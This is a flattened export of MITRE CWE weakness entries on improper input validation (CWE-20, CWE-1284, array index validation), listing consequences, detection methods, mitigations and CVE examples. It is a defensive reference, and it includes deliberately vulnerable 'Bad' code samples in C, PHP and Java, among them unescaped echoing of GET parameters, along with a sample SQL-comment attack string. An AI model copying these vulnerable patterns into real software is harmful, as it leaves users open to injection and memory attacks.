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Improper Input Validation

Class

Simple

Stable

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The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. Input can consist of: - raw data - strings, numbers, parameters, file contents, etc. - metadata - information about the raw data, such as headers or size Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data. Many properties of raw data or metadata may need to be validated upon entry into the code, such as: - specified quantities such as size, length, frequency, price, rate, number of operations, time, etc. - implied or derived quantities, such as the actual size of a file instead of a specified size - indexes, offsets, or positions into more complex data structures - symbolic keys or other elements into hash tables, associative arrays, etc. - well-formedness, i.e. syntactic correctness - compliance with expected syntax - lexical token correctness - compliance with rules for what is treated as a token - specified or derived type - the actual type of the input (or what the input appears to be) - consistency - between individual data elements, between raw data and metadata, between references, etc. - conformance to domain-specific rules, e.g. business logic - equivalence - ensuring that equivalent inputs are treated the same - authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

High

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Often", "Type": "Language" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "\n\nREALIZATION: This weakness is caused during implementation of an architectural security tactic.\n\n\nIf a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).\n", "Phase": "Implementation" } ]

[ { "Impact": [ "DoS: Crash, Exit, or Restart", "DoS: Resource Consumption (CPU)", "DoS: Resource Consumption (Memory)" ], "Likelihood": null, "Note": "An attacker could provide unexpected values and cause a program crash or arbitrary control of resource allocation, leading to excessive consumption of resources such as memory and CPU.", "Scope": [ "Availability" ] }, { "Impact": [ "Read Memory", "Read Files or Directories" ], "Likelihood": null, "Note": "An attacker could read confidential data if they are able to control resource references.", "Scope": [ "Confidentiality" ] }, { "Impact": [ "Modify Memory", "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": "An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.", "Scope": [ "Integrity", "Confidentiality", "Availability" ] } ]

[ { "Description": "\n\nSome instances of improper input validation can be detected using automated static analysis.\n\n\nA static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.\n\n\nExcept in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.\n", "DetectionMethodID": "DM-3", "Effectiveness": null, "EffectivenessNotes": null, "Method": "Automated Static Analysis" }, { "Description": "When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.", "DetectionMethodID": "DM-4", "Effectiveness": null, "EffectivenessNotes": null, "Method": "Manual Static Analysis" }, { "Description": "Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.", "DetectionMethodID": "DM-5", "Effectiveness": null, "EffectivenessNotes": null, "Method": "Fuzzing" }, { "Description": "\n\nAccording to SOAR, the following detection techniques may be useful:\n\n```\n\t\tCost effective for partial coverage:\n```\n\n\t\tBytecode Weakness Analysis - including disassembler + source code weakness analysis\n\t\tBinary Weakness Analysis - including disassembler + source code weakness analysis", "DetectionMethodID": null, "Effectiveness": "SOAR Partial", "EffectivenessNotes": null, "Method": "Automated Static Analysis - Binary or Bytecode" }, { "Description": "\n\nAccording to SOAR, the following detection techniques may be useful:\n\n```\n\t\tCost effective for partial coverage:\n```\n\n\t\tBinary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies", "DetectionMethodID": null, "Effectiveness": "SOAR Partial", "EffectivenessNotes": null, "Method": "Manual Static Analysis - Binary or Bytecode" }, { "Description": "\n\nAccording to SOAR, the following detection techniques may be useful:\n\n```\n\t\tHighly cost effective:\n```\n\n\t\tWeb Application Scanner\n\t\tWeb Services Scanner\n\t\tDatabase Scanners", "DetectionMethodID": null, "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Dynamic Analysis with Automated Results Interpretation" }, { "Description": "\n\nAccording to SOAR, the following detection techniques may be useful:\n\n```\n\t\tHighly cost effective:\n```\n\n\t\tFuzz Tester\n\t\tFramework-based Fuzzer\n\t```\n\t\tCost effective for partial coverage:\n```\n\n\t\tHost Application Interface Scanner\n\t\tMonitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious", "DetectionMethodID": null, "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Dynamic Analysis with Manual Results Interpretation" }, { "Description": "\n\nAccording to SOAR, the following detection techniques may be useful:\n\n```\n\t\tHighly cost effective:\n```\n\n\t\tFocused Manual Spotcheck - Focused manual analysis of source\n\t\tManual Source Code Review (not inspections)", "DetectionMethodID": null, "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Manual Static Analysis - Source Code" }, { "Description": "\n\nAccording to SOAR, the following detection techniques may be useful:\n\n```\n\t\tHighly cost effective:\n```\n\n\t\tSource code Weakness Analyzer\n\t\tContext-configured Source Code Weakness Analyzer", "DetectionMethodID": null, "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis - Source Code" }, { "Description": "\n\nAccording to SOAR, the following detection techniques may be useful:\n\n```\n\t\tHighly cost effective:\n```\n\n\t\tInspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)\n\t\tFormal Methods / Correct-By-Construction\n\t```\n\t\tCost effective for partial coverage:\n```\n\n\t\tAttack Modeling", "DetectionMethodID": null, "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Architecture or Design Review" } ]

[ { "Description": "Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build \"recognizers\" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Architecture and Design" ], "Strategy": "Attack Surface Reduction" }, { "Description": "Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-7", "Phase": [ "Architecture and Design" ], "Strategy": "Libraries or Frameworks" }, { "Description": "Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-6", "Phase": [ "Architecture and Design", "Implementation" ], "Strategy": "Attack Surface Reduction" }, { "Description": "\n\nAssume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.\n\n\nWhen performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"\n\n\nDo not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.\n", "Effectiveness": "High", "EffectivenessNotes": null, "MitigationID": "MIT-5", "Phase": [ "Implementation" ], "Strategy": "Input Validation" }, { "Description": "\n\nFor any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.\n\n\nEven though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-35", "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "\n\nInputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.\n\n\nConsider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null } ]

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If an attacker were to provide a negative value, then the user would have their account credited instead of debited.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": "DX-135" }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t...\n\t#define MAX_DIM 100\n\t...\n```\n/* board dimensions */* \n\t\n\tint m,n, error;\n\tboard_square_t *board;\n\tprintf(\"Please specify the board height: \\n\");\n\terror = scanf(\"%d\", &m);\n\tif ( EOF == error ){\n\t```\n\t\tdie(\"No integer passed: Die evil hacker!\\n\");\n\t}\n\tprintf(\"Please specify the board width: \\n\");\n\terror = scanf(\"%d\", &n);\n\tif ( EOF == error ){\n\t\tdie(\"No integer passed: Die evil hacker!\\n\");\n\t}\n\tif ( m > MAX_DIM || n > MAX_DIM ) {\n\t\tdie(\"Value too large: Die evil hacker!\\n\");\n\t}\n\tboard = (board_square_t*) malloc( m * n * sizeof(board_square_t));\n\t...\n```", "IntroText": null, "Language": "C", "Nature": "Bad", "Reference": null }, { "BodyText": "While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": "DX-136" }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t$birthday = $_GET['birthday'];\n\t$homepage = $_GET['homepage'];\n\techo \"Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>\"\n```", "IntroText": null, "Language": "PHP", "Nature": "Bad", "Reference": null }, { "BodyText": "The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t2009-01-09--\n```", "IntroText": null, "Language": null, "Nature": "Attack", "Reference": null }, { "BodyText": "If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": null }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "The following example takes a user-supplied value to allocate an array of objects and then operates on the array.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tprivate void buildList ( int untrustedListSize ){\n\t\tif ( 0 > untrustedListSize ){\n\t\t\tdie(\"Negative value supplied for list size, die evil hacker!\");\n\t\t}\n\t\tWidget[] list = new Widget [ untrustedListSize ];\n\t\tlist[0] = new Widget();\n\t}\n```", "IntroText": null, "Language": "Java", "Nature": "Bad", "Reference": null }, { "BodyText": "This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": "DX-34" }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "This Android application has registered to handle a URL when sent an intent:", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n```\n...* \n\tIntentFilter filter = new IntentFilter(\"com.example.URLHandler.openURL\");\n\tMyReceiver receiver = new MyReceiver();\n\tregisterReceiver(receiver, filter);\n\t\n\t *...* \n\t\n\tpublic class UrlHandlerReceiver extends BroadcastReceiver {\n\t```\n\t\t\t@Override\n\t\t\tpublic void onReceive(Context context, Intent intent) {\n\t\t\t\t\tif(\"com.example.URLHandler.openURL\".equals(intent.getAction())) {\n\t\t\t\t\t\tString URL = intent.getStringExtra(\"URLToOpen\");\n\t\t\t\t\t\tint length = URL.length();\n```\n...* \n\t\t\t\t\t}}}", "IntroText": null, "Language": "Java", "Nature": "Bad", "Reference": null }, { "BodyText": "The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": "DX-110" } ]

[ { "Description": "Large language model (LLM) management tool does not validate the format of a digest value (CWE-1287) from a private, untrusted model registry, enabling relative path traversal (CWE-23), a.k.a. Probllama", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-37032", "Reference": "CVE-2024-37032" }, { "Description": "Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using \"../\" sequences (CWE-24)", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-45918", "Reference": "CVE-2022-45918" }, { "Description": "Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-30860", "Reference": "CVE-2021-30860" }, { "Description": "Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-30663", "Reference": "CVE-2021-30663" }, { "Description": "Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-22205", "Reference": "CVE-2021-22205" }, { "Description": "Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-21220", "Reference": "CVE-2021-21220" }, { "Description": "Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-9054", "Reference": "CVE-2020-9054" }, { "Description": "Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-3452", "Reference": "CVE-2020-3452" }, { "Description": "Improper input validation of HTTP requests in IP phone, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-3161", "Reference": "CVE-2020-3161" }, { "Description": "Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-3580", "Reference": "CVE-2020-3580" }, { "Description": "Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an \"LF line ending\"", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-37147", "Reference": "CVE-2021-37147" }, { "Description": "Eval injection in Perl program using an ID that should only contain hyphens and numbers.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5305", "Reference": "CVE-2008-5305" }, { "Description": "SQL injection through an ID that was supposed to be numeric.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2223", "Reference": "CVE-2008-2223" }, { "Description": "lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3477", "Reference": "CVE-2008-3477" }, { "Description": "insufficient validation enables XSS", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3843", "Reference": "CVE-2008-3843" }, { "Description": "driver in security product allows code execution due to insufficient validation", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3174", "Reference": "CVE-2008-3174" }, { "Description": "infinite loop from DNS packet with a label that points to itself", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-3409", "Reference": "CVE-2007-3409" }, { "Description": "infinite loop from DNS packet with a label that points to itself", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-6870", "Reference": "CVE-2006-6870" }, { "Description": "missing parameter leads to crash", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-1303", "Reference": "CVE-2008-1303" }, { "Description": "HTTP request with missing protocol version number leads to crash", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-5893", "Reference": "CVE-2007-5893" }, { "Description": "request with missing parameters leads to information exposure", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-6658", "Reference": "CVE-2006-6658" }, { "Description": "system crash with offset value that is inconsistent with packet size", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-4114", "Reference": "CVE-2008-4114" }, { "Description": "size field that is inconsistent with packet size leads to buffer over-read", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-3790", "Reference": "CVE-2006-3790" }, { "Description": "product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2309", "Reference": "CVE-2008-2309" }, { "Description": "security bypass via an extra header", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3494", "Reference": "CVE-2008-3494" }, { "Description": "empty packet triggers reboot", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3571", "Reference": "CVE-2008-3571" }, { "Description": "incomplete denylist allows SQL injection", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-5525", "Reference": "CVE-2006-5525" }, { "Description": "NUL byte in theme name causes directory traversal impact to be worse", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-1284", "Reference": "CVE-2008-1284" }, { "Description": "kernel does not validate an incoming pointer before dereferencing it", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0600", "Reference": "CVE-2008-0600" }, { "Description": "anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution", "Link": 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Discouraged

CWE-20 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available [REF-1287]. It is not useful for trend analysis. It is also a level-1 Class (i.e., a child of a Pillar). Finally, it is often used when the root cause issue is related to how input is incorrectly transformed, instead of "validated" to be correct as-is.

Within CWE, the "input validation" term focuses on the act of checking whether an input is already safe, which is different from other techniques that ensure safe processing of input. Carefully perform root-cause analysis to be sure that the issue is not due to techniques that attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. If the issue is truly due to imroper input validation, consider using lower-level children such as Improper Use of Validation Framework (CWE-1173) or improper validation involving specific types or properties of input such as Specified Quantity (CWE-1284); Specified Index, Position, or Offset (CWE-1285); Syntactic Correctness (CWE-1286); Specified Type (CWE-1287); Consistency within Input (CWE-1288); or Unsafe Equivalence (CWE-1289).

[ "Frequent Misuse", "Frequent Misinterpretation", "Abstraction" ]

[ { "Comment": "Specified Quantity", "CweID": "1284" }, { "Comment": "Specified Index, Position, or Offset", "CweID": "1285" }, { "Comment": "Syntactic Correctness", "CweID": "1286" }, { "Comment": "Specified Type", "CweID": "1287" }, { "Comment": "Consistency within Input", "CweID": "1288" }, { "Comment": "Unsafe Equivalence", "CweID": "1289" }, { "Comment": "Improper Encoding or Escaping of Output", "CweID": "116" }, { "Comment": "Improper Filtering of Special Elements", "CweID": "790" } ]

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1284

Improper Validation of Specified Quantity in Input

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Simple

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The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.

Specified quantities include size, length, frequency, price, rate, number of operations, time, and others. Code may rely on specified quantities to allocate resources, perform calculations, control iteration, etc. When the quantity is not properly validated, then attackers can specify malicious quantities to cause excessive resource allocation, trigger unexpected failures, enable buffer overflows, etc.

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[ { "CweID": "20", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Often", "Type": "Language" } ]

[ { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Varies by Context" ], "Likelihood": null, "Note": "Since quantities are used so often to affect resource allocation or process financial data, they are often present in many places in the code.", "Scope": [ "Other" ] } ]

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[ { "Description": "\n\nAssume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.\n\n\nWhen performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"\n\n\nDo not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.\n", "Effectiveness": "High", "EffectivenessNotes": null, "MitigationID": "MIT-5", "Phase": [ "Implementation" ], "Strategy": "Input Validation" } ]

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[ { "Description": "Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-21668", "Reference": "CVE-2022-21668" }, { "Description": "lack of validation of length field leads to infinite loop", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-1440", "Reference": "CVE-2008-1440" }, { "Description": "lack of validation of string length fields allows memory consumption or buffer over-read", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2374", "Reference": "CVE-2008-2374" } ]

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Improper Validation of Array Index

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The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

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[ { "CweID": "20", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "DoS: Crash, Exit, or Restart" ], "Likelihood": null, "Note": "Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.", "Scope": [ "Integrity", "Availability" ] }, { "Impact": [ "Modify Memory" ], "Likelihood": null, "Note": "If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.", "Scope": [ "Integrity" ] }, { "Impact": [ "Modify Memory", "Read Memory" ], "Likelihood": null, "Note": "Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., \"buffer overflows\" are not always the result. This may result in the exposure or modification of sensitive data.", "Scope": [ "Confidentiality", "Integrity" ] }, { "Impact": [ "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": "If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.", "Scope": [ "Integrity", "Confidentiality", "Availability" ] }, { "Impact": [ "DoS: Crash, Exit, or Restart", "Execute Unauthorized Code or Commands", "Read Memory", "Modify Memory" ], "Likelihood": null, "Note": "A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.", "Scope": [ "Integrity", "Availability", "Confidentiality" ] } ]

[ { "Description": "\n\nThis weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.\n\n\nAutomated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.\n", "DetectionMethodID": "DM-1", "Effectiveness": "High", "EffectivenessNotes": "This is not a perfect solution, since 100% accuracy and coverage are not feasible.", "Method": "Automated Static Analysis" }, { "Description": "This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.", "DetectionMethodID": "DM-2", "Effectiveness": null, "EffectivenessNotes": null, "Method": "Automated Dynamic Analysis" }, { "Description": "Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.", "DetectionMethodID": null, "Effectiveness": null, "EffectivenessNotes": null, "Method": "Black Box" } ]

[ { "Description": "Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-7", "Phase": [ "Architecture and Design" ], "Strategy": "Input Validation" }, { "Description": "\n\nFor any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.\n\n\nEven though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-15", "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "\n\nUse a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.\n\n\nFor example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-3", "Phase": [ "Requirements" ], "Strategy": "Language Selection" }, { "Description": "\n\nRun or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. \n\n\n Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as \"rebasing\" (for Windows) and \"prelinking\" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. \n\n\n For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. \n", "Effectiveness": "Defense in Depth", "EffectivenessNotes": "These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]", "MitigationID": "MIT-11", "Phase": [ "Operation", "Build and Compilation" ], "Strategy": "Environment Hardening" }, { "Description": "\n\n Use a CPU and operating system that offers Data Execution Protection 